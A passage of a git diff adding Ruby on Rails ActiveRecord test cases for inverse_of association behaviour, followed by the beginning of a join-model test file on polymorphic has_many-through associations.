+    assert man_reflection.has_inverse?, "The man reflection should have an inverse"
+    assert_equal monkey_reflection, man_reflection.inverse_of, "The man reflection's inverse should be the monkey reflection"
+  end
+
+  def test_has_many_and_belongs_to_should_find_inverse_automatically_for_model_in_module
+    account_reflection = Admin::Account.reflect_on_association(:users)
+    user_reflection = Admin::User.reflect_on_association(:account)
+
+    assert account_reflection.has_inverse?, "The Admin::Account reflection should have an inverse"
+    assert_equal user_reflection, account_reflection.inverse_of, "The Admin::Account reflection's inverse should be the Admin::User reflection"
+  end
+
+  def test_has_one_and_belongs_to_should_find_inverse_automatically
+    car_reflection = Car.reflect_on_association(:bulb)
+    bulb_reflection = Bulb.reflect_on_association(:car)
+
+    assert car_reflection.has_inverse?, "The Car reflection should have an inverse"
+    assert_equal bulb_reflection, car_reflection.inverse_of, "The Car reflection's inverse should be the Bulb reflection"
+
+    assert bulb_reflection.has_inverse?, "The Bulb reflection should have an inverse"
+    assert_equal car_reflection, bulb_reflection.inverse_of, "The Bulb reflection's inverse should be the Car reflection"
+  end
+
+  def test_has_many_and_belongs_to_should_find_inverse_automatically
+    comment_reflection = Comment.reflect_on_association(:ratings)
+    rating_reflection = Rating.reflect_on_association(:comment)
+
+    assert comment_reflection.has_inverse?, "The Comment reflection should have an inverse"
+    assert_equal rating_reflection, comment_reflection.inverse_of, "The Comment reflection's inverse should be the Rating reflection"
+  end
+
+  def test_has_one_and_belongs_to_automatic_inverse_shares_objects
+    car = Car.first
+    bulb = Bulb.create!(car: car)
+
+    assert_equal car.bulb, bulb, "The Car's bulb should be the original bulb"
+
+    car.bulb.color = "Blue"
+    assert_equal car.bulb.color, bulb.color, "Changing the bulb's color on the car association should change the bulb's color"
+
+    bulb.color = "Red"
+    assert_equal bulb.color, car.bulb.color, "Changing the bulb's color should change the bulb's color on the car association"
+  end
+
+  def test_has_many_and_belongs_to_automatic_inverse_shares_objects_on_rating
+    comment = Comment.first
+    rating = Rating.create!(comment: comment)
+
+    assert_equal rating.comment, comment, "The Rating's comment should be the original Comment"
+
+    rating.comment.body = "Fennec foxes are the smallest of the foxes."
+    assert_equal rating.comment.body, comment.body, "Changing the Comment's body on the association should change the original Comment's body"
+
+    comment.body = "Kittens are adorable."
+    assert_equal comment.body, rating.comment.body, "Changing the original Comment's body should change the Comment's body on the association"
+  end
+
+  def test_has_many_and_belongs_to_automatic_inverse_shares_objects_on_comment
+    rating = Rating.create!
+    comment = Comment.first
+    rating.comment = comment
+
+    assert_equal rating.comment, comment, "The Rating's comment should be the original Comment"
+
+    rating.comment.body = "Fennec foxes are the smallest of the foxes."
+    assert_equal rating.comment.body, comment.body, "Changing the Comment's body on the association should change the original Comment's body"
+
+    comment.body = "Kittens are adorable."
+    assert_equal comment.body, rating.comment.body, "Changing the original Comment's body should change the Comment's body on the association"
+  end
+
+  def test_polymorphic_and_has_many_through_relationships_should_not_have_inverses
+    sponsor_reflection = Sponsor.reflect_on_association(:sponsorable)
+
+    assert !sponsor_reflection.has_inverse?, "A polymorphic association should not find an inverse automatically"
+
+    club_reflection = Club.reflect_on_association(:members)
+
+    assert !club_reflection.has_inverse?, "A has_many_through association should not find an inverse automatically"
+  end
+
+  def test_polymorphic_has_one_should_find_inverse_automatically
+    man_reflection = Man.reflect_on_association(:polymorphic_face_without_inverse)
+
+    assert man_reflection.has_inverse?
+  end
+end
+
+class InverseAssociationTests < ActiveRecord::TestCase
+  def test_should_allow_for_inverse_of_options_in_associations
+    assert_nothing_raised do
+      Class.new(ActiveRecord::Base).has_many(:wheels, inverse_of: :car)
+    end
+
+    assert_nothing_raised do
+      Class.new(ActiveRecord::Base).has_one(:engine, inverse_of: :car)
+    end
+
+    assert_nothing_raised do
+      Class.new(ActiveRecord::Base).belongs_to(:car, inverse_of: :driver)
+    end
+  end
+
+  def test_should_be_able_to_ask_a_reflection_if_it_has_an_inverse
+    has_one_with_inverse_ref = Man.reflect_on_association(:face)
+    assert has_one_with_inverse_ref.has_inverse?
+
+    has_many_with_inverse_ref = Man.reflect_on_association(:interests)
+    assert has_many_with_inverse_ref.has_inverse?
+
+    belongs_to_with_inverse_ref = Face.reflect_on_association(:man)
+    assert belongs_to_with_inverse_ref.has_inverse?
+
+    has_one_without_inverse_ref = Club.reflect_on_association(:sponsor)
+    assert !has_one_without_inverse_ref.has_inverse?
+
+    has_many_without_inverse_ref = Club.reflect_on_association(:memberships)
+    assert !has_many_without_inverse_ref.has_inverse?
+
+    belongs_to_without_inverse_ref = Sponsor.reflect_on_association(:sponsor_club)
+    assert !belongs_to_without_inverse_ref.has_inverse?
+  end
+
+  def test_inverse_of_method_should_supply_the_actual_reflection_instance_it_is_the_inverse_of
+    has_one_ref = Man.reflect_on_association(:face)
+    assert_equal Face.reflect_on_association(:man), has_one_ref.inverse_of
+
+    has_many_ref = Man.reflect_on_association(:interests)
+    assert_equal Interest.reflect_on_association(:man), has_many_ref.inverse_of
+
+    belongs_to_ref = Face.reflect_on_association(:man)
+    assert_equal Man.reflect_on_association(:face), belongs_to_ref.inverse_of
+  end
+
+  def test_associations_with_no_inverse_of_should_return_nil
+    has_one_ref = Club.reflect_on_association(:sponsor)
+    assert_nil has_one_ref.inverse_of
+
+    has_many_ref = Club.reflect_on_association(:memberships)
+    assert_nil has_many_ref.inverse_of
+
+    belongs_to_ref = Sponsor.reflect_on_association(:sponsor_club)
+    assert_nil belongs_to_ref.inverse_of
+  end
+
+  def test_this_inverse_stuff
+    firm = Firm.create!(name: "Adequate Holdings")
+    Project.create!(name: "Project 1", firm: firm)
+    Developer.create!(name: "Gorbypuff", firm: firm)
+
+    new_project = Project.last
+    assert Project.reflect_on_association(:lead_developer).inverse_of.present?, "Expected inverse of to be present"
+    assert new_project.lead_developer.present?, "Expected lead developer to be present on the project"
+  end
+end
+
+class InverseHasOneTests < ActiveRecord::TestCase
+  fixtures :men, :faces
+
+  def test_parent_instance_should_be_shared_with_child_on_find
+    m = men(:gordon)
+    f = m.face
+    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
+    m.name = "Bongo"
+    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
+    f.man.name = "Mungo"
+    assert_equal m.name, f.man.name, "Name of man should be the same after changes to child-owned instance"
+  end
+
+  def test_parent_instance_should_be_shared_with_eager_loaded_child_on_find
+    m = Man.all.merge!(where: { name: "Gordon" }, includes: :face).first
+    f = m.face
+    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
+    m.name = "Bongo"
+    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
+    f.man.name = "Mungo"
+    assert_equal m.name, f.man.name, "Name of man should be the same after changes to child-owned instance"
+
+    m = Man.all.merge!(where: { name: "Gordon" }, includes: :face, order: "faces.id").first
+    f = m.face
+    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
+    m.name = "Bongo"
+    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
+    f.man.name = "Mungo"
+    assert_equal m.name, f.man.name, "Name of man should be the same after changes to child-owned instance"
+  end
+
+  def test_parent_instance_should_be_shared_with_newly_built_child
+    m = Man.first
+    f = m.build_face(description: "haunted")
+    assert_not_nil f.man
+    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
+    m.name = "Bongo"
+    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
+    f.man.name = "Mungo"
+    assert_equal m.name, f.man.name, "Name of man should be the same after changes to just-built-child-owned instance"
+  end
+
+  def test_parent_instance_should_be_shared_with_newly_created_child
+    m = Man.first
+    f = m.create_face(description: "haunted")
+    assert_not_nil f.man
+    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
+    m.name = "Bongo"
+    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
+    f.man.name = "Mungo"
+    assert_equal m.name, f.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
+  end
+
+  def test_parent_instance_should_be_shared_with_newly_created_child_via_bang_method
+    m = Man.first
+    f = m.create_face!(description: "haunted")
+    assert_not_nil f.man
+    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
+    m.name = "Bongo"
+    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
+    f.man.name = "Mungo"
+    assert_equal m.name, f.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
+  end
+
+  def test_parent_instance_should_be_shared_with_replaced_via_accessor_child
+    m = Man.first
+    f = Face.new(description: "haunted")
+    m.face = f
+    assert_not_nil f.man
+    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
+    m.name = "Bongo"
+    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
+    f.man.name = "Mungo"
+    assert_equal m.name, f.man.name, "Name of man should be the same after changes to replaced-child-owned instance"
+  end
+
+  def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
+    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Man.first.dirty_face }
+  end
+end
+
+class InverseHasManyTests < ActiveRecord::TestCase
+  fixtures :men, :interests
+
+  def test_parent_instance_should_be_shared_with_every_child_on_find
+    m = men(:gordon)
+    is = m.interests
+    is.each do |i|
+      assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
+      m.name = "Bongo"
+      assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
+      i.man.name = "Mungo"
+      assert_equal m.name, i.man.name, "Name of man should be the same after changes to child-owned instance"
+    end
+  end
+
+  def test_parent_instance_should_be_shared_with_eager_loaded_children
+    m = Man.all.merge!(where: { name: "Gordon" }, includes: :interests).first
+    is = m.interests
+    is.each do |i|
+      assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
+      m.name = "Bongo"
+      assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
+      i.man.name = "Mungo"
+      assert_equal m.name, i.man.name, "Name of man should be the same after changes to child-owned instance"
+    end
+
+    m = Man.all.merge!(where: { name: "Gordon" }, includes: :interests, order: "interests.id").first
+    is = m.interests
+    is.each do |i|
+      assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
+      m.name = "Bongo"
+      assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
+      i.man.name = "Mungo"
+      assert_equal m.name, i.man.name, "Name of man should be the same after changes to child-owned instance"
+    end
+  end
+
+  def test_parent_instance_should_be_shared_with_newly_block_style_built_child
+    m = Man.first
+    i = m.interests.build { |ii| ii.topic = "Industrial Revolution Re-enactment" }
+    assert_not_nil i.topic, "Child attributes supplied to build via blocks should be populated"
+    assert_not_nil i.man
+    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
+    m.name = "Bongo"
+    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
+    i.man.name = "Mungo"
+    assert_equal m.name, i.man.name, "Name of man should be the same after changes to just-built-child-owned instance"
+  end
+
+  def test_parent_instance_should_be_shared_with_newly_created_via_bang_method_child
+    m = Man.first
+    i = m.interests.create!(topic: "Industrial Revolution Re-enactment")
+    assert_not_nil i.man
+    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
+    m.name = "Bongo"
+    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
+    i.man.name = "Mungo"
+    assert_equal m.name, i.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
+  end
+
+  def test_parent_instance_should_be_shared_with_newly_block_style_created_child
+    m = Man.first
+    i = m.interests.create { |ii| ii.topic = "Industrial Revolution Re-enactment" }
+    assert_not_nil i.topic, "Child attributes supplied to create via blocks should be populated"
+    assert_not_nil i.man
+    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
+    m.name = "Bongo"
+    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
+    i.man.name = "Mungo"
+    assert_equal m.name, i.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
+  end
+
+  def test_parent_instance_should_be_shared_within_create_block_of_new_child
+    man = Man.first
+    interest = man.interests.create do |i|
+      assert i.man.equal?(man), "Man of child should be the same instance as a parent"
+    end
+    assert interest.man.equal?(man), "Man of the child should still be the same instance as a parent"
+  end
+
+  def test_parent_instance_should_be_shared_within_build_block_of_new_child
+    man = Man.first
+    interest = man.interests.build do |i|
+      assert i.man.equal?(man), "Man of child should be the same instance as a parent"
+    end
+    assert interest.man.equal?(man), "Man of the child should still be the same instance as a parent"
+  end
+
+  def test_parent_instance_should_be_shared_with_poked_in_child
+    m = men(:gordon)
+    i = Interest.create(topic: "Industrial Revolution Re-enactment")
+    m.interests << i
+    assert_not_nil i.man
+    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
+    m.name = "Bongo"
+    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
+    i.man.name = "Mungo"
+    assert_equal m.name, i.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
+  end
+
+  def test_parent_instance_should_be_shared_with_replaced_via_accessor_children
+    m = Man.first
+    i = Interest.new(topic: "Industrial Revolution Re-enactment")
+    m.interests = [i]
+    assert_not_nil i.man
+    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
+    m.name = "Bongo"
+    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
+    i.man.name = "Mungo"
+    assert_equal m.name, i.man.name, "Name of man should be the same after changes to replaced-child-owned instance"
+  end
+
+  def test_parent_instance_should_be_shared_with_first_and_last_child
+    man = Man.first
+
+    assert man.interests.first.man.equal? man
+    assert man.interests.last.man.equal? man
+  end
+
+  def test_parent_instance_should_be_shared_with_first_n_and_last_n_children
+    man = Man.first
+
+    interests = man.interests.first(2)
+    assert interests[0].man.equal? man
+    assert interests[1].man.equal? man
+
+    interests = man.interests.last(2)
+    assert interests[0].man.equal? man
+    assert interests[1].man.equal? man
+  end
+
+  def test_parent_instance_should_find_child_instance_using_child_instance_id
+    man = Man.create!
+    interest = Interest.create!
+    man.interests = [interest]
+
+    assert interest.equal?(man.interests.first), "The inverse association should use the interest already created and held in memory"
+    assert interest.equal?(man.interests.find(interest.id)), "The inverse association should use the interest already created and held in memory"
+    assert man.equal?(man.interests.first.man), "Two inversion should lead back to the same object that was originally held"
+    assert man.equal?(man.interests.find(interest.id).man), "Two inversions should lead back to the same object that was originally held"
+  end
+
+  def test_parent_instance_should_find_child_instance_using_child_instance_id_when_created
+    man = Man.create!
+    interest = Interest.create!(man: man)
+
+    assert man.equal?(man.interests.first.man), "Two inverses should lead back to the same object that was originally held"
+    assert man.equal?(man.interests.find(interest.id).man), "Two inversions should lead back to the same object that was originally held"
+
+    assert_nil man.interests.find(interest.id).man.name, "The name of the man should match before the name is changed"
+    man.name = "Ben Bitdiddle"
+    assert_equal man.name, man.interests.find(interest.id).man.name, "The name of the man should match after the parent name is changed"
+    man.interests.find(interest.id).man.name = "Alyssa P. Hacker"
+    assert_equal man.name, man.interests.find(interest.id).man.name, "The name of the man should match after the child name is changed"
+  end
+
+  def test_find_on_child_instance_with_id_should_not_load_all_child_records
+    man = Man.create!
+    interest = Interest.create!(man: man)
+
+    man.interests.find(interest.id)
+    assert_not man.interests.loaded?
+  end
+
+  def test_raise_record_not_found_error_when_invalid_ids_are_passed
+    # delete all interest records to ensure that hard coded invalid_id(s)
+    # are indeed invalid.
+    Interest.delete_all
+
+    man = Man.create!
+
+    invalid_id = 245324523
+    assert_raise(ActiveRecord::RecordNotFound) { man.interests.find(invalid_id) }
+
+    invalid_ids = [8432342, 2390102913, 2453245234523452]
+    assert_raise(ActiveRecord::RecordNotFound) { man.interests.find(invalid_ids) }
+  end
+
+  def test_raise_record_not_found_error_when_no_ids_are_passed
+    man = Man.create!
+
+    assert_raise(ActiveRecord::RecordNotFound) { man.interests.find() }
+  end
+
+  def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
+    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Man.first.secret_interests }
+  end
+
+  def test_child_instance_should_point_to_parent_without_saving
+    man = Man.new
+    i = Interest.create(topic: "Industrial Revolution Re-enactment")
+
+    man.interests << i
+    assert_not_nil i.man
+
+    i.man.name = "Charles"
+    assert_equal i.man.name, man.name
+
+    assert !man.persisted?
+  end
+
+  def test_inverse_instance_should_be_set_before_find_callbacks_are_run
+    reset_callbacks(Interest, :find) do
+      Interest.after_find { raise unless association(:man).loaded? && man.present? }
+
+      assert Man.first.interests.reload.any?
+      assert Man.includes(:interests).first.interests.any?
+      assert Man.joins(:interests).includes(:interests).first.interests.any?
+    end
+  end
+
+  def test_inverse_instance_should_be_set_before_initialize_callbacks_are_run
+    reset_callbacks(Interest, :initialize) do
+      Interest.after_initialize { raise unless association(:man).loaded? && man.present? }
+
+      assert Man.first.interests.reload.any?
+      assert Man.includes(:interests).first.interests.any?
+      assert Man.joins(:interests).includes(:interests).first.interests.any?
+    end
+  end
+
+  def reset_callbacks(target, type)
+    old_callbacks = target.send(:get_callbacks, type).deep_dup
+    yield
+  ensure
+    target.send(:set_callbacks, type, old_callbacks) if old_callbacks
+  end
+end
+
+class InverseBelongsToTests < ActiveRecord::TestCase
+  fixtures :men, :faces, :interests
+
+  def test_child_instance_should_be_shared_with_parent_on_find
+    f = faces(:trusting)
+    m = f.man
+    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
+    f.description = "gormless"
+    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
+    m.face.description = "pleasing"
+    assert_equal f.description, m.face.description, "Description of face should be the same after changes to parent-owned instance"
+  end
+
+  def test_eager_loaded_child_instance_should_be_shared_with_parent_on_find
+    f = Face.all.merge!(includes: :man, where: { description: "trusting" }).first
+    m = f.man
+    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
+    f.description = "gormless"
+    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
+    m.face.description = "pleasing"
+    assert_equal f.description, m.face.description, "Description of face should be the same after changes to parent-owned instance"
+
+    f = Face.all.merge!(includes: :man, order: "men.id", where: { description: "trusting" }).first
+    m = f.man
+    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
+    f.description = "gormless"
+    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
+    m.face.description = "pleasing"
+    assert_equal f.description, m.face.description, "Description of face should be the same after changes to parent-owned instance"
+  end
+
+  def test_child_instance_should_be_shared_with_newly_built_parent
+    f = faces(:trusting)
+    m = f.build_man(name: "Charles")
+    assert_not_nil m.face
+    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
+    f.description = "gormless"
+    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
+    m.face.description = "pleasing"
+    assert_equal f.description, m.face.description, "Description of face should be the same after changes to just-built-parent-owned instance"
+  end
+
+  def test_child_instance_should_be_shared_with_newly_created_parent
+    f = faces(:trusting)
+    m = f.create_man(name: "Charles")
+    assert_not_nil m.face
+    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
+    f.description = "gormless"
+    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
+    m.face.description = "pleasing"
+    assert_equal f.description, m.face.description, "Description of face should be the same after changes to newly-created-parent-owned instance"
+  end
+
+  def test_should_not_try_to_set_inverse_instances_when_the_inverse_is_a_has_many
+    i = interests(:trainspotting)
+    m = i.man
+    assert_not_nil m.interests
+    iz = m.interests.detect { |_iz| _iz.id == i.id }
+    assert_not_nil iz
+    assert_equal i.topic, iz.topic, "Interest topics should be the same before changes to child"
+    i.topic = "Eating cheese with a spoon"
+    assert_not_equal i.topic, iz.topic, "Interest topics should not be the same after changes to child"
+    iz.topic = "Cow tipping"
+    assert_not_equal i.topic, iz.topic, "Interest topics should not be the same after changes to parent-owned instance"
+  end
+
+  def test_child_instance_should_be_shared_with_replaced_via_accessor_parent
+    f = Face.first
+    m = Man.new(name: "Charles")
+    f.man = m
+    assert_not_nil m.face
+    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
+    f.description = "gormless"
+    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
+    m.face.description = "pleasing"
+    assert_equal f.description, m.face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
+  end
+
+  def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
+    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.horrible_man }
+  end
+end
+
+class InversePolymorphicBelongsToTests < ActiveRecord::TestCase
+  fixtures :men, :faces, :interests
+
+  def test_child_instance_should_be_shared_with_parent_on_find
+    f = Face.all.merge!(where: { description: "confused" }).first
+    m = f.polymorphic_man
+    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same before changes to child instance"
+    f.description = "gormless"
+    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to child instance"
+    m.polymorphic_face.description = "pleasing"
+    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to parent-owned instance"
+  end
+
+  def test_eager_loaded_child_instance_should_be_shared_with_parent_on_find
+    f = Face.all.merge!(where: { description: "confused" }, includes: :man).first
+    m = f.polymorphic_man
+    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same before changes to child instance"
+    f.description = "gormless"
+    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to child instance"
+    m.polymorphic_face.description = "pleasing"
+    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to parent-owned instance"
+
+    f = Face.all.merge!(where: { description: "confused" }, includes: :man, order: "men.id").first
+    m = f.polymorphic_man
+    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same before changes to child instance"
+    f.description = "gormless"
+    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to child instance"
+    m.polymorphic_face.description = "pleasing"
+    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to parent-owned instance"
+  end
+
+  def test_child_instance_should_be_shared_with_replaced_via_accessor_parent
+    face = faces(:confused)
+    new_man = Man.new
+
+    assert_not_nil face.polymorphic_man
+    face.polymorphic_man = new_man
+
+    assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same before changes to parent instance"
+    face.description = "Bongo"
+    assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to parent instance"
+    new_man.polymorphic_face.description = "Mungo"
+    assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
+  end
+
+  def test_inversed_instance_should_not_be_reloaded_after_stale_state_changed
+    new_man = Man.new
+    face = Face.new
+    new_man.face = face
+
+    old_inversed_man = face.man
+    new_man.save!
+    new_inversed_man = face.man
+
+    assert_equal old_inversed_man.object_id, new_inversed_man.object_id
+  end
+
+  def test_should_not_try_to_set_inverse_instances_when_the_inverse_is_a_has_many
+    i = interests(:llama_wrangling)
+    m = i.polymorphic_man
+    assert_not_nil m.polymorphic_interests
+    iz = m.polymorphic_interests.detect { |_iz| _iz.id == i.id }
+    assert_not_nil iz
+    assert_equal i.topic, iz.topic, "Interest topics should be the same before changes to child"
+    i.topic = "Eating cheese with a spoon"
+    assert_not_equal i.topic, iz.topic, "Interest topics should not be the same after changes to child"
+    iz.topic = "Cow tipping"
+    assert_not_equal i.topic, iz.topic, "Interest topics should not be the same after changes to parent-owned instance"
+  end
+
+  def test_trying_to_access_inverses_that_dont_exist_shouldnt_raise_an_error
+    # Ideally this would, if only for symmetry's sake with other association types
+    assert_nothing_raised { Face.first.horrible_polymorphic_man }
+  end
+
+  def test_trying_to_set_polymorphic_inverses_that_dont_exist_at_all_should_raise_an_error
+    # fails because no class has the correct inverse_of for horrible_polymorphic_man
+    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.horrible_polymorphic_man = Man.first }
+  end
+
+  def test_trying_to_set_polymorphic_inverses_that_dont_exist_on_the_instance_being_set_should_raise_an_error
+    # passes because Man does have the correct inverse_of
+    assert_nothing_raised { Face.first.polymorphic_man = Man.first }
+    # fails because Interest does have the correct inverse_of
+    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.polymorphic_man = Interest.first }
+  end
+end
+
+# NOTE - these tests might not be meaningful, ripped as they were from the parental_control plugin
+# which would guess the inverse rather than look for an explicit configuration option.
+class InverseMultipleHasManyInversesForSameModel < ActiveRecord::TestCase
+  fixtures :men, :interests, :zines
+
+  def test_that_we_can_load_associations_that_have_the_same_reciprocal_name_from_different_models
+    assert_nothing_raised do
+      i = Interest.first
+      i.zine
+      i.man
+    end
+  end
+
+  def test_that_we_can_create_associations_that_have_the_same_reciprocal_name_from_different_models
+    assert_nothing_raised do
+      i = Interest.first
+      i.build_zine(title: "Get Some in Winter! 2008")
+      i.build_man(name: "Gordon")
+      i.save!
+    end
+  end
+end
diff --git a/activerecord/test/cases/associations/join_model_test.rb b/activerecord/test/cases/associations/join_model_test.rb
new file mode 100644
index 0000000000..2f68bc5141
--- /dev/null
+++ b/activerecord/test/cases/associations/join_model_test.rb
@@ -0,0 +1,778 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/tag"
+require "models/tagging"
+require "models/post"
+require "models/rating"
+require "models/item"
+require "models/comment"
+require "models/author"
+require "models/category"
+require "models/categorization"
+require "models/vertex"
+require "models/edge"
+require "models/book"
+require "models/citation"
+require "models/aircraft"
+require "models/engine"
+require "models/car"
+
+class AssociationsJoinModelTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false unless supports_savepoints?
+
+  fixtures :posts, :authors, :author_addresses, :categories, :categorizations, :comments, :tags, :taggings, :author_favorites, :vertices, :items, :books,
+    # Reload edges table from fixtures as otherwise repeated test was failing
+    :edges
+
+  def test_has_many
+    assert_includes authors(:david).categories, categories(:general)
+  end
+
+  def test_has_many_inherited
+    assert_includes authors(:mary).categories, categories(:sti_test)
+  end
+
+  def test_inherited_has_many
+    assert_includes categories(:sti_test).authors, authors(:mary)
+  end
+
+  def test_has_many_distinct_through_join_model
+    assert_equal 2, authors(:mary).categorized_posts.size
+    assert_equal 1, authors(:mary).unique_categorized_posts.size
+  end
+
+  def test_has_many_distinct_through_count
+    author = authors(:mary)
+    assert !authors(:mary).unique_categorized_posts.loaded?
+    assert_queries(1) { assert_equal 1, author.unique_categorized_posts.count }
+    assert_queries(1) { assert_equal 1, author.unique_categorized_posts.count(:title) }
+    assert_queries(1) { assert_equal 0, author.unique_categorized_posts.where(title: nil).count(:title) }
+    assert !authors(:mary).unique_categorized_posts.loaded?
+  end
+
+  def test_has_many_distinct_through_find
+    assert_equal 1, authors(:mary).unique_categorized_posts.to_a.size
+  end
+
+  def test_polymorphic_has_many_going_through_join_model
+    assert_equal tags(:general), tag = posts(:welcome).tags.first
+    assert_no_queries do
+      tag.tagging
+    end
+  end
+
+  def test_count_polymorphic_has_many
+    assert_equal 1, posts(:welcome).taggings.count
+    assert_equal 1, posts(:welcome).tags.count
+  end
+
+  def test_polymorphic_has_many_going_through_join_model_with_find
+    assert_equal tags(:general), tag = posts(:welcome).tags.first
+    assert_no_queries do
+      tag.tagging
+    end
+  end
+
+  def test_polymorphic_has_many_going_through_join_model_with_include_on_source_reflection
+    assert_equal tags(:general), tag = posts(:welcome).funky_tags.first
+    assert_no_queries do
+      tag.tagging
+    end
+  end
+
+  def test_polymorphic_has_many_going_through_join_model_with_include_on_source_reflection_with_find
+    assert_equal tags(:general), tag = posts(:welcome).funky_tags.first
+    assert_no_queries do
+      tag.tagging
+    end
+  end
+
+  def test_polymorphic_has_many_going_through_join_model_with_custom_select_and_joins
+    assert_equal tags(:general), tag = posts(:welcome).tags.add_joins_and_select.first
+    assert_nothing_raised { tag.author_id }
+  end
+
+  def test_polymorphic_has_many_going_through_join_model_with_custom_foreign_key
+    assert_equal tags(:misc), taggings(:welcome_general).super_tag
+    assert_equal tags(:misc), posts(:welcome).super_tags.first
+  end
+
+  def test_polymorphic_has_many_create_model_with_inheritance_and_custom_base_class
+    post = SubStiPost.create title: "SubStiPost", body: "SubStiPost body"
+    assert_instance_of SubStiPost, post
+
+    tagging = tags(:misc).taggings.create(taggable: post)
+    assert_equal "SubStiPost", tagging.taggable_type
+  end
+
+  def test_polymorphic_has_many_going_through_join_model_with_inheritance
+    assert_equal tags(:general), posts(:thinking).tags.first
+  end
+
+  def test_polymorphic_has_many_going_through_join_model_with_inheritance_with_custom_class_name
+    assert_equal tags(:general), posts(:thinking).funky_tags.first
+  end
+
+  def test_polymorphic_has_many_create_model_with_inheritance
+    post = posts(:thinking)
+    assert_instance_of SpecialPost, post
+
+    tagging = tags(:misc).taggings.create(taggable: post)
+    assert_equal "Post", tagging.taggable_type
+  end
+
+  def test_polymorphic_has_one_create_model_with_inheritance
+    tagging = tags(:misc).create_tagging(taggable: posts(:thinking))
+    assert_equal "Post", tagging.taggable_type
+  end
+
+  def test_set_polymorphic_has_many
+    tagging = tags(:misc).taggings.create
+    posts(:thinking).taggings << tagging
+    assert_equal "Post", tagging.taggable_type
+  end
+
+  def test_set_polymorphic_has_one
+    tagging = tags(:misc).taggings.create
+    posts(:thinking).tagging = tagging
+
+    assert_equal "Post",              tagging.taggable_type
+    assert_equal posts(:thinking).id, tagging.taggable_id
+    assert_equal posts(:thinking),    tagging.taggable
+  end
+
+  def test_set_polymorphic_has_one_on_new_record
+    tagging = tags(:misc).taggings.create
+    post = Post.new title: "foo", body: "bar"
+    post.tagging = tagging
+    post.save!
+
+    assert_equal "Post",  tagging.taggable_type
+    assert_equal post.id, tagging.taggable_id
+    assert_equal post,    tagging.taggable
+  end
+
+  def test_create_polymorphic_has_many_with_scope
+    old_count = posts(:welcome).taggings.count
+    tagging = posts(:welcome).taggings.create(tag: tags(:misc))
+    assert_equal "Post", tagging.taggable_type
+    assert_equal old_count + 1, posts(:welcome).taggings.count
+  end
+
+  def test_create_bang_polymorphic_with_has_many_scope
